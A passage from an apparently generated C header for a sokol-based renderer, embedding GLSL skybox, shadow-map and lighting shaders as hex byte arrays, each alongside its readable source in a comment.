0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x31,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x31,0x32,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x33,0x2c,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x34,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,
0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x20,0x2a,
0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,
0x5d,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,
0x5f,0x34,0x30,0x34,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x35,0x20,0x3d,0x20,
0x5f,0x33,0x38,0x36,0x20,0x2f,0x20,0x76,0x65,0x63,0x33,0x28,0x6c,0x69,0x67,0x68,
0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x77,0x29,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x36,0x20,0x3d,0x20,
0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x5d,
0x2e,0x77,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x32,0x36,0x20,0x3d,0x20,0x61,
0x74,0x74,0x65,0x6e,0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,
0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x31,0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x69,0x66,
0x20,0x28,0x5f,0x34,0x32,0x36,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x7b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x20,0x3d,0x20,0x5f,0x33,0x39,0x34,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,0x20,
0x3d,0x20,0x5f,0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x39,0x20,0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,
0x6c,0x20,0x2b,0x3d,0x20,0x28,0x28,0x28,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,
0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x20,
0x2a,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x33,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,
0x70,0x65,0x63,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x2c,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x31,0x38,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x39,
0x29,0x29,0x20,0x2b,0x20,0x28,0x28,0x5f,0x33,0x31,0x39,0x20,0x2a,0x20,0x6c,0x69,
0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,0x78,
0x79,0x7a,0x29,0x20,0x2a,0x20,0x5f,0x34,0x30,0x34,0x29,0x29,0x20,0x2a,0x20,0x5f,
0x34,0x32,0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x7d,0x0a,
0x20,0x20,0x20,0x20,0x7d,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x76,0x65,0x63,0x33,0x20,0x5f,0x34,0x35,0x37,0x20,0x3d,0x20,0x74,0x6f,0x6e,0x65,
0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,0x68,0x61,0x72,0x64,0x28,0x74,0x6f,0x74,
0x61,0x6c,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x3d,
0x20,0x5f,0x34,0x35,0x37,0x3b,0x0a,0x20,0x20,0x20,0x20,0x67,0x6c,0x5f,0x46,0x72,
0x61,0x67,0x44,0x61,0x74,0x61,0x5b,0x30,0x5d,0x20,0x3d,0x20,0x76,0x65,0x63,0x34,
0x28,0x5f,0x34,0x35,0x37,0x2c,0x20,0x5f,0x33,0x30,0x39,0x2e,0x77,0x29,0x3b,0x0a,
0x7d,0x0a,0x0a,0x00,
};
/*
#version 100
uniform vec4 vs_skybox_params[4];
varying vec3 vTexCoord;
attribute vec3 aPosition;
attribute vec3 aNormal;
attribute vec2 aTexCoord;
attribute vec4 aColorMult;
attribute vec4 aColorOffset;
void main()
{
vTexCoord = aPosition.xzy;
gl_Position = (mat4(vs_skybox_params[0], vs_skybox_params[1], vs_skybox_params[2], vs_skybox_params[3]) * vec4(aPosition, 1.0)).xyww;
}
*/
static const char vs_skybox_source_glsl100[392] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x31,0x30,0x30,0x0a,0x0a,0x75,0x6e,
0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x73,0x5f,0x73,0x6b,
0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x34,0x5d,0x3b,0x0a,
0x76,0x61,0x72,0x79,0x69,0x6e,0x67,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x54,0x65,
0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,
0x65,0x20,0x76,0x65,0x63,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x20,0x76,0x65,0x63,0x33,
0x20,0x61,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,0x62,
0x75,0x74,0x65,0x20,0x76,0x65,0x63,0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,
0x72,0x64,0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x20,0x76,0x65,
0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x61,
0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x20,0x76,0x65,0x63,0x34,0x20,0x61,0x43,
0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x0a,0x76,0x6f,0x69,
0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x76,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x61,0x50,0x6f,0x73,0x69,
0x74,0x69,0x6f,0x6e,0x2e,0x78,0x7a,0x79,0x3b,0x0a,0x20,0x20,0x20,0x20,0x67,0x6c,
0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x28,0x6d,0x61,0x74,
0x34,0x28,0x76,0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x5b,0x30,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,
0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2c,
0x20,0x76,0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x33,0x5d,0x29,0x20,0x2a,0x20,0x76,0x65,0x63,0x34,0x28,0x61,0x50,0x6f,
0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x29,0x29,0x2e,0x78,0x79,
0x77,0x77,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 100
precision mediump float;
precision highp int;
uniform highp samplerCube imageSkybox;
varying highp vec3 vTexCoord;
void main()
{
gl_FragData[0] = textureCube(imageSkybox, vTexCoord);
}
*/
static const char fs_skybox_source_glsl100[207] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x31,0x30,0x30,0x0a,0x70,0x72,0x65,
0x63,0x69,0x73,0x69,0x6f,0x6e,0x20,0x6d,0x65,0x64,0x69,0x75,0x6d,0x70,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x3b,0x0a,0x70,0x72,0x65,0x63,0x69,0x73,0x69,0x6f,0x6e,0x20,
0x68,0x69,0x67,0x68,0x70,0x20,0x69,0x6e,0x74,0x3b,0x0a,0x0a,0x75,0x6e,0x69,0x66,
0x6f,0x72,0x6d,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,
0x72,0x43,0x75,0x62,0x65,0x20,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,
0x78,0x3b,0x0a,0x0a,0x76,0x61,0x72,0x79,0x69,0x6e,0x67,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x3b,0x0a,0x0a,0x76,0x6f,0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,
0x0a,0x20,0x20,0x20,0x20,0x67,0x6c,0x5f,0x46,0x72,0x61,0x67,0x44,0x61,0x74,0x61,
0x5b,0x30,0x5d,0x20,0x3d,0x20,0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x43,0x75,0x62,
0x65,0x28,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x2c,0x20,0x76,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
#endif /* SOKOL_GLES2 */
#if defined(SOKOL_GLES3)
/*
#version 300 es
uniform vec4 vs_shadow_map_params[4];
layout(location = 0) in vec3 aPosition;
out vec2 projZW;
layout(location = 1) in vec3 aNormal;
layout(location = 2) in vec2 aTexCoord;
layout(location = 3) in vec4 aColorMult;
layout(location = 4) in vec4 aColorOffset;
void main()
{
gl_Position = mat4(vs_shadow_map_params[0], vs_shadow_map_params[1], vs_shadow_map_params[2], vs_shadow_map_params[3]) * vec4(aPosition, 1.0);
projZW = gl_Position.zw;
}
*/
static const char vs_shadow_map_source_glsl300es[469] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x30,0x30,0x20,0x65,0x73,0x0a,
0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x73,
0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x5b,0x34,0x5d,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,
0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x30,0x29,0x20,0x69,0x6e,0x20,0x76,
0x65,0x63,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x6f,
0x75,0x74,0x20,0x76,0x65,0x63,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x3b,0x0a,
0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,
0x3d,0x20,0x31,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x33,0x20,0x61,0x4e,0x6f,
0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,
0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x32,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,
0x63,0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x6c,0x61,
0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,
0x33,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,
0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,
0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x34,0x29,0x20,0x69,0x6e,0x20,0x76,
0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,
0x3b,0x0a,0x0a,0x76,0x6f,0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,
0x0a,0x20,0x20,0x20,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x20,0x3d,0x20,0x6d,0x61,0x74,0x34,0x28,0x76,0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,
0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2c,
0x20,0x76,0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,
0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,0x68,0x61,
0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,
0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x29,0x20,0x2a,0x20,0x76,0x65,
0x63,0x34,0x28,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,
0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x20,0x3d,
0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2e,0x7a,0x77,0x3b,
0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 300 es
precision mediump float;
precision highp int;
in highp vec2 projZW;
layout(location = 0) out highp vec4 fragColor;
highp vec4 encodeDepth(highp float v)
{
highp vec4 _25 = fract(vec4(1.0, 255.0, 65025.0, 16581375.0) * v);
return _25 - (_25.yzww * vec4(0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0));
}
void main()
{
highp float param = projZW.x / projZW.y;
fragColor = encodeDepth(param);
}
*/
static const char fs_shadow_map_source_glsl300es[492] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x30,0x30,0x20,0x65,0x73,0x0a,
0x70,0x72,0x65,0x63,0x69,0x73,0x69,0x6f,0x6e,0x20,0x6d,0x65,0x64,0x69,0x75,0x6d,
0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x3b,0x0a,0x70,0x72,0x65,0x63,0x69,0x73,0x69,
0x6f,0x6e,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x69,0x6e,0x74,0x3b,0x0a,0x0a,0x69,
0x6e,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x32,0x20,0x70,0x72,0x6f,
0x6a,0x5a,0x57,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,
0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x30,0x29,0x20,0x6f,0x75,0x74,0x20,0x68,0x69,
0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,
0x6f,0x72,0x3b,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,
0x65,0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x68,0x69,0x67,0x68,
0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x76,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x5f,0x32,0x35,0x20,
0x3d,0x20,0x66,0x72,0x61,0x63,0x74,0x28,0x76,0x65,0x63,0x34,0x28,0x31,0x2e,0x30,
0x2c,0x20,0x32,0x35,0x35,0x2e,0x30,0x2c,0x20,0x36,0x35,0x30,0x32,0x35,0x2e,0x30,
0x2c,0x20,0x31,0x36,0x35,0x38,0x31,0x33,0x37,0x35,0x2e,0x30,0x29,0x20,0x2a,0x20,
0x76,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x5f,
0x32,0x35,0x20,0x2d,0x20,0x28,0x5f,0x32,0x35,0x2e,0x79,0x7a,0x77,0x77,0x20,0x2a,
0x20,0x76,0x65,0x63,0x34,0x28,0x30,0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,0x36,
0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,0x34,
0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,0x30,0x33,0x39,0x32,
0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,0x38,
0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,0x30,
0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,
0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x30,
0x2e,0x30,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x76,0x6f,0x69,0x64,0x20,0x6d,0x61,
0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x70,
0x72,0x6f,0x6a,0x5a,0x57,0x2e,0x78,0x20,0x2f,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,
0x2e,0x79,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,
0x72,0x20,0x3d,0x20,0x65,0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,
0x70,0x61,0x72,0x61,0x6d,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 300 es
uniform vec4 vs_params[16];
out vec3 vNormal;
layout(location = 0) in vec3 aPosition;
out vec3 vFragPos;
out vec2 vTexCoord;
layout(location = 2) in vec2 aTexCoord;
out vec4 vColorMult;
layout(location = 3) in vec4 aColorMult;
out vec4 vColorOffset;
layout(location = 4) in vec4 aColorOffset;
out vec4 v_shadow_pos;
layout(location = 1) in vec3 aNormal;
void main()
{
vec4 _29 = vec4(aPosition, 1.0);
vNormal = vec3(normalize(mat4(vs_params[8], vs_params[9], vs_params[10], vs_params[11]) * _29).xyz);
mat4 _39 = mat4(vs_params[4], vs_params[5], vs_params[6], vs_params[7]);
vFragPos = mat3(_39[0].xyz, _39[1].xyz, _39[2].xyz) * aPosition;
vTexCoord = aTexCoord;
vColorMult = aColorMult;
vColorOffset = aColorOffset;
v_shadow_pos = mat4(vs_params[12], vs_params[13], vs_params[14], vs_params[15]) * _29;
gl_Position = mat4(vs_params[0], vs_params[1], vs_params[2], vs_params[3]) * _29;
}
*/
static const char vs_source_glsl300es[944] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x30,0x30,0x20,0x65,0x73,0x0a,
0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x73,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x36,0x5d,0x3b,0x0a,0x6f,0x75,0x74,
0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x6c,
0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,
0x20,0x30,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x33,0x20,0x61,0x50,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x33,0x20,
0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,
0x63,0x32,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x6c,0x61,
0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,
0x32,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x32,0x20,0x61,0x54,0x65,0x78,0x43,
0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x34,0x20,0x76,
0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,
0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x33,0x29,0x20,
0x69,0x6e,0x20,0x76,0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,
0x6c,0x74,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x43,0x6f,
0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,
0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x34,0x29,0x20,
0x69,0x6e,0x20,0x76,0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,
0x66,0x73,0x65,0x74,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x34,0x20,0x76,
0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x3b,0x0a,0x6c,0x61,0x79,
0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x31,
0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x33,0x20,0x61,0x4e,0x6f,0x72,0x6d,0x61,
0x6c,0x3b,0x0a,0x0a,0x76,0x6f,0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x34,0x20,0x5f,0x32,0x39,0x20,0x3d,
0x20,0x76,0x65,0x63,0x34,0x28,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,
0x20,0x31,0x2e,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x4e,0x6f,0x72,0x6d,
0x61,0x6c,0x20,0x3d,0x20,0x76,0x65,0x63,0x33,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,
0x69,0x7a,0x65,0x28,0x6d,0x61,0x74,0x34,0x28,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x5b,0x38,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,
0x5b,0x39,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,
0x30,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x31,
0x5d,0x29,0x20,0x2a,0x20,0x5f,0x32,0x39,0x29,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x6d,0x61,0x74,0x34,0x20,0x5f,0x33,0x39,0x20,0x3d,0x20,0x6d,
0x61,0x74,0x34,0x28,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x34,0x5d,
0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x35,0x5d,0x2c,0x20,
0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x36,0x5d,0x2c,0x20,0x76,0x73,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x37,0x5d,0x29,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x3d,0x20,0x6d,0x61,0x74,0x33,
0x28,0x5f,0x33,0x39,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x33,0x39,
0x5b,0x31,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x33,0x39,0x5b,0x32,0x5d,0x2e,
0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,
0x3d,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3d,0x20,0x61,0x43,
0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x43,
0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,0x20,0x61,0x43,0x6f,
0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,
0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x3d,0x20,0x6d,0x61,
